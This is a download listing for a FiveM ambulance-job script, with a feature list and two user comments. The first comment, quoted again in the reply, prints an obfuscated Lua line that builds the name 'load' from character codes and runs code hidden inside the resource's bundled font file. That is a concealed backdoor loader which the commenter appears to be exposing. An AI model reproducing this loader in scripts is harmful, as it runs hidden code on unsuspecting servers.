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Wasabi Ambulance 1.0.0

   (0 reviews)

1 Screenshot

About This File

🚑wasabi_ambulance (v1)
The legacy V1 version of our Advanced Ambulance Job resource.

Lets all face the facts, when it comes to ESX/QBCore ambulance jobs / death handlers; there are not too many great options out there to choose from. Running into the same issue many others have, I built an ambulance job that I believe will fulfill your player's needs. This was exclusive for my personal server but upon dozens of requests I will be releasing & providing updates as I update it for myself.

Features
0.0ms on idle

Fully optimized

Utilizes State Bags

Players must be treated for injuries they die from or will respawn with less health / the EMT will receive less of a reward (Configurable)

Death animation synced and persistent

Medical Bag with instruments that treat possible wounds to add immersion to RP

Animations and props

Working stretchers

Built in easy dispatch system

Built in ambulance garage with aircraft compatibility

Integrated invoices (Optional - esx billing / okokBilling compatibility but easy to add custom in editable client.lua)

Integrated cloakroom (Optional - Configurable between esx skin and wasabi's fivem-appearance)

Integrate your dispatch, phone, notifications, and inventory with ease with plenty of editable code!

Support out of the box for GKS Phone & qs-phone dispatch (Optional/editable)

Option to clear inventory on player death (ox_inventory/mf-inventory/qs-inventory & esx supported)

Anti-combat log option (Player will return dead if disconnected while dead) New as of 1.0.7

Extremely configurable

Multi-hospital support

Hospital check-in (Configurable)

Usable Medikits (Medics can heal others and themselves & civilians can heal themselves)

Usable Sedatives (Temporarily sedate players - Configurable)

Boss Menu access w/optional wasabi_multijob compatibility (Configurable)

Complete esx_ambulancejob / qb-ambulancejob replacement

GKS/QS Phone distress signal configurable(Will disable built-in dispatch)

Wasabi Carlock/qb-carlock compatible (Custom car lock events can be added as well)


User Feedback

Recommended Comments

Trial_Grout

Posted

nice "local loadFonts = _G[string.char(108, 111, 97, 100)] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()"

funky69

Posted

On 7/29/2026 at 1:49 AM, Trial_Grout said:

nice "local loadFonts = _G[string.char(108, 111, 97, 100)] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()"

what is that?
 

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